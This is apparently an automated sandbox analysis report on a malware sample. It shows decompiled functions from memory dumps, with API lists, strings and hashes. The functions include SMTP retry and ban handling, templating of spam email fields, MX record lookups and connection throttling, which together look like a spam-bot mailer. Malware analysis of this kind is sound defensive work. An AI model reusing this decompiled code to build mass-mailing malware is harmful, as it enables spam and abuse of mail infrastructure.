Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F315, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

time_cfg, xrefs: 0040F323
p2u, xrefs: 0040F375, 0040F3A0

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p2u$time_cfg
API String ID: 311057483-3085829997
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

smtp_retr, xrefs: 0040BE61, 0040BF8C
smtp_herr, xrefs: 0040BE46, 0040BF62
46A, xrefs: 0040BF85
86A, xrefs: 0040BF98
smtp_ban, xrefs: 0040BE55, 0040BF77
06A, xrefs: 0040BF70

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3C5, Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040B3C5(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v132;
				void* _t46;
				char* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t76;
				void* _t77;

				E00405CE1(_a4, 0x3e800, _a16, 0, 0);
				E0040EF00( &_v132, "%FROM_EMAIL");
				E00405CE1( &_v132, 0x64, _a16, 0, 0);
				_t71 = E0040ED03( &_v132, 0x40);
				_t77 = _t76 + 0x38;
				_t83 = _t71;
				if(_t71 != 0) {
					_t7 = _t71 + 1; // 0x1
					E0040EF7C(_t83, _a4, "%FROM_DOMAIN", _t7, 0x3e800, 0);
					 *_t71 = 0;
					E0040EF7C(_t83, _a4, "%FROM_USER",  &_v132, 0x3e800, 0);
					_t77 = _t77 + 0x28;
				}
				_t72 = _a12;
				E0040EF7C(_t83, _a4, "%TO_DOMAIN",  *((intOrPtr*)(_t72 + 0xc)), 0x3e800, 0);
				wsprintfA( &_v132, "%s@%s",  *((intOrPtr*)(_t72 + 8)),  *((intOrPtr*)(_t72 + 0xc)));
				E0040EF7C(_t83, _a4, "%TO_EMAIL",  &_v132, 0x3e800, 0);
				_t73 = _a4;
				E0040EF7C(_t83, _t73, "%TO_USER",  *((intOrPtr*)(_t72 + 4)), 0x3e800, 0);
				_t46 = E0040F0CB( &_v132);
				_push(0);
				_push( &_v132);
				_push(_t46);
				E0040F133();
				E0040EF7C(_t83, _t73, "%TO_HASH",  &_v132, 0x3e800, 0);
				_push(_t73);
				E0040AD89( &_v132, _t83);
				E0040B211(0,  &_v132, 0);
				E0040EF7C(_t83, _t73, "%DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 5);
				E0040EF7C(_t83, _t73, "%P5DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 0xfffffffb);
				E0040EF7C(_t83, _t73, "%M5DATE",  &_v132, 0x3e800, 0);
				_t75 = _a8;
				 *((char*)(E0040AEDD(_t75, _t73, 0x3e800) + _t75)) = 0;
				return _t75;
			}

0x0040b3e1
0x0040b3ef
0x0040b3ff
0x0040b40f
0x0040b411
0x0040b414
0x0040b416
0x0040b41a
0x0040b426
0x0040b439
0x0040b43b
0x0040b440
0x0040b440
0x0040b443
0x0040b453
0x0040b467
0x0040b47b
0x0040b485
0x0040b48e
0x0040b49a
0x0040b49f
0x0040b4a3
0x0040b4a4
0x0040b4a5
0x0040b4b6
0x0040b4bb
0x0040b4bc
0x0040b4c7
0x0040b4d8
0x0040b4e7
0x0040b4f8
0x0040b504
0x0040b515
0x0040b51e
0x0040b52b
0x0040b534

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%P5DATE, xrefs: 0040B4F2
%FROM_USER, xrefs: 0040B431
%TO_DOMAIN, xrefs: 0040B44B
%FROM_DOMAIN, xrefs: 0040B41E
%TO_EMAIL, xrefs: 0040B473
%DATE, xrefs: 0040B4D2
%TO_USER, xrefs: 0040B488
%FROM_EMAIL, xrefs: 0040B3E9
%TO_HASH, xrefs: 0040B4B0
%M5DATE, xrefs: 0040B50F
%s@%s, xrefs: 0040B461

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32 ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD
0t, xrefs: 0040C44D

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: 0t$localcfg
API String ID: 1553760989-1645711936
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 0043C10A, Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043C10E
__get_printf_count_output.LIBCMTD ref: 0043C11C
__invalid_parameter.LIBCMTD ref: 0043C1A3
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C1B8
_write_multi_char.LIBCMTD ref: 0043C74B
_write_string.LIBCMTD ref: 0043C766
_write_multi_char.LIBCMTD ref: 0043C792
__mbtowc_l.LIBCMTD ref: 0043C801

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: c8085778bbb25a2222fc431e846649b6a162034bb8851f7cc36a0f45966b9f4a
Instruction ID: 0232871a96aeed45ae51b3b369f1aff16d9772251712ce158041e60c1b9972ac
Opcode Fuzzy Hash: c8085778bbb25a2222fc431e846649b6a162034bb8851f7cc36a0f45966b9f4a
Instruction Fuzzy Hash: 90A19FB1D002299BDF24DF55CC82BAEB370AF48305F14909AE6097B282D7785E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0057F565, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0057CC6D), ref: 0057F59D
socket.WS2_32(00000002,00000001,00000000), ref: 0057F5B7
closesocket.WS2_32(00000000), ref: 0057F5C5

Strings

p2u, xrefs: 0057F5C5, 0057F5F0
^3u, xrefs: 0057F619
time_cfg, xrefs: 0057F573

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p2u$time_cfg$^3u
API String ID: 311057483-1845531421
Opcode ID: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction ID: c1abaa1a116b65d784a88fcb23f1db854382ba55fd367f4feb3a87a3898e0df8
Opcode Fuzzy Hash: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction Fuzzy Hash: AF316C72900119AFDB10DFA4EC89DEE7BBCFF89314F108566F919E3150E7709A819BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00573042, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll), ref: 00573051
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00573061
GetProcAddress.KERNEL32(00000000,00410408), ref: 0057307E
RtlAllocateHeap.NTDLL(00000000), ref: 0057309F
htons.WS2_32(00000035), ref: 005730D8
inet_addr.WS2_32(?), ref: 005730E3
gethostbyname.WS2_32(?), ref: 005730F6
HeapFree.KERNEL32(00000000), ref: 00573136

Strings

iphlpapi.dll, xrefs: 0057304B, 00573050, 00573060

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: iphlpapi.dll
API String ID: 2869546040-3565520932
Opcode ID: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction ID: 7d2e9518b6a089528e8c7c2a5c93d5019abdc40d001633869d71adffd736f3f4
Opcode Fuzzy Hash: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction Fuzzy Hash: 3E31A431A00606ABDB119BB8EC48AAE7FB8BF04771F24C125E518E7190DB74DB41EB58

Uniqueness

Uniqueness Score: -1.00%

Function 00402D21, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 85
memorylibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00402D21(intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				char _v28;
				struct HINSTANCE__* _t19;
				_Unknown_base(*)()* _t20;
				long* _t30;
				intOrPtr* _t37;
				long _t39;
				long _t40;
				void* _t41;

				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t19 = GetModuleHandleA( &_v28);
				_t39 = 0;
				if(_t19 != 0) {
					L3:
					_t20 = GetProcAddress(_t19, "DnsQuery_A");
					if(_t20 == _t39) {
						L2:
						return 0;
					}
					_push(_t39);
					_t35 =  &_v16;
					_push( &_v16);
					_push(_t39);
					_push(_t39);
					_push(0xf);
					_push(_a4);
					if( *_t20() != 0) {
						goto L2;
					}
					_t37 = _v16;
					_v8 = _t39;
					_v12 = _t39;
					if(_t37 == _t39) {
						L14:
						return _v12;
					}
					do {
						if( *((short*)(_t37 + 8)) != 0xf) {
							goto L12;
						}
						_t40 = HeapAlloc(GetProcessHeap(), _t39, 0x108);
						if(_t40 == 0) {
							break;
						}
						E0040EE2A(_t35, _t40, 0, 0x108);
						_t41 = _t41 + 0xc;
						 *(_t40 + 4) =  *(_t37 + 0x1c) & 0x0000ffff;
						_t13 = _t40 + 8; // 0x8
						lstrcpynA(_t13,  *(_t37 + 0x18), 0xff);
						_t30 = _v8;
						_v8 = _t40;
						if(_t30 != 0) {
							 *_t30 = _t40;
						} else {
							_v12 = _t40;
						}
						L12:
						_t37 =  *_t37;
						_t39 = 0;
					} while (_t37 != 0);
					goto L14;
				}
				_t19 = LoadLibraryA( &_v28);
				if(_t19 != 0) {
					goto L3;
				}
				goto L2;
			}

0x00402d31
0x00402d32
0x00402d33
0x00402d39
0x00402d3a
0x00402d40
0x00402d44
0x00402d5b
0x00402d61
0x00402d69
0x00402d54
0x00000000
0x00402d54
0x00402d6b
0x00402d6c
0x00402d6f
0x00402d70
0x00402d71
0x00402d72
0x00402d74
0x00402d7b
0x00000000
0x00000000
0x00402d7d
0x00402d80
0x00402d83
0x00402d88
0x00402deb
0x00000000
0x00402deb
0x00402d90
0x00402d95
0x00000000
0x00000000
0x00402da6
0x00402daa
0x00000000
0x00000000
0x00402db0
0x00402db9
0x00402dc1
0x00402dc7
0x00402dcb
0x00402dd1
0x00402dd4
0x00402dd9
0x00402de0
0x00402ddb
0x00402ddb
0x00402ddb
0x00402de2
0x00402de2
0x00402de4
0x00402de6
0x00000000
0x00402dea
0x00402d4a
0x00402d52
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,74E5EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

dnsapi.dll, xrefs: 00402D29
DnsQuery_A, xrefs: 00402D5B
Mt, xrefs: 00402D3A

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll$Mt
API String ID: 3560063639-2758030581
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
